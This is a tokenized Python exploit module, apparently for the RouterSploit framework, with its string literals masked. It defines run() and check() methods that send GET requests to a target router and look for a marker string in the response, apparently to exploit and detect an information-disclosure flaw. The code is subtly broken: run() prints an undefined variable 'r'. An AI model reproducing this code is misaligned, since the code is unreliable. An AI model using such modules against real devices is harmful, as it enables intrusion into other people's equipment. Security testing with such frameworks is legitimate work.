<s> from routersploit import ( <EOL> exploits , <EOL> print_success , <EOL> print_error , <EOL> sanitize_url , <EOL> http_request , <EOL> mute , <EOL> ) <EOL> class Exploit ( exploits . Exploit ) : <EOL> """<STR_LIT>""" <EOL> __info__ = { <EOL> '<STR_LIT:name>' : '<STR_LIT>' , <EOL> '<STR_LIT:description>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> ] <EOL> } <EOL> target = exploits . Option ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> port = exploits . Option ( <NUM_LIT> , '<STR_LIT>' ) <EOL> def run ( self ) : <EOL> url = sanitize_url ( "<STR_LIT>" . format ( self . target , self . port ) ) <EOL> response = http_request ( method = "<STR_LIT:GET>" , url = url ) <EOL> if response is None : <EOL> return <EOL> if response . status_code == <NUM_LIT:200> and "<STR_LIT>" in response . text : <EOL> print_success ( "<STR_LIT>" ) <EOL> print r . text <EOL> else : <EOL> print_error ( "<STR_LIT>" ) <EOL> @ mute <EOL> def check ( self ) : <EOL> url = sanitize_url ( "<STR_LIT>" . format ( self . target , self . port ) ) <EOL> response = http_request ( method = "<STR_LIT:GET>" , url = url ) <EOL> if response is None : <EOL> return False <EOL> if response . status_code == <NUM_LIT:200> and "<STR_LIT>" in response . text : <EOL> return True <EOL> else : <EOL> return False </s>
